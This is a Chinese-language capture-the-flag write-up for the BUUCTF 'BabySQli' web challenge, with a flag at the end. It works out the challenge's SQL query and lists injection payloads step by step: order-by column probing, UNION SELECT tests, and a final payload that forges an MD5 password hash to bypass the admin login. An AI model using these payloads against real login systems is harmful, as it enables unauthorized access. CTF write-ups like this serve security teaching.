BUUCTF - Web - BabySQli
BabySQli
拿到一個登入框
隨便填些資訊登入一下
這裡使用者名稱不是admin
的話會提示使用者名稱錯誤,其他都提示密碼錯誤,看來admin
就是正確使用者名稱
可以看到返回頁面有註釋MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
這串字元不區分大小寫,只有[A-z2-7],看來是base32
這很顯然是base64
解碼出來了一段sql語句:select * from user where username = '$name'
可以看到查詢語句中的$name
name=admin' or 1=1 -- qwe&pw=123
查欄位:name=admin' order by 2 -- qwe&pw=123
存在繞過,換大寫試試:name=admin' ORDER BY 4 -- qwe&pw=123
最後查出來三個欄位
判斷使用者名稱所在欄位:name=1' UNION SELECT 'admin',2,3 -- qwe&pw=asd
no user
,把使用者名稱放到第二位查詢:name=1' UNION SELECT 1,'admin',3 -- qwe&pw=asd
看來使用者名稱被存在第二個欄位,無法查出資料,可能後端是利用兩個if
構造payload
我們不知道admin的密碼,這時可以隨便寫,當聯合查詢不存在的資料時,只要欄位一致,資料庫會將該資料與原資料合起來輸出
我們可以看到,資料庫不光顯示了我聯合查詢的資料,也顯示了使where
成立的資料
一般密碼是使用雜湊演算法計算後儲存在資料庫中的,那麼我們也可以將asd
進行雜湊加密(asd是隨便寫的)
先試試MD5:7815696ecbf1c96e6894b779456d330e
這裡的第三位要與後面密碼位保持一致:name=1' UNION SELECT 1,'admin','7815696ecbf1c96e6894b779456d330e' -- qwe&pw=asd
得到:flag{b13f4d63-8b0e-47ef-aee6-a6c31fe6f091}
總結
這道題可能也不是很難,但確實有爽到我
又一次體會到了拿到flag的樂趣!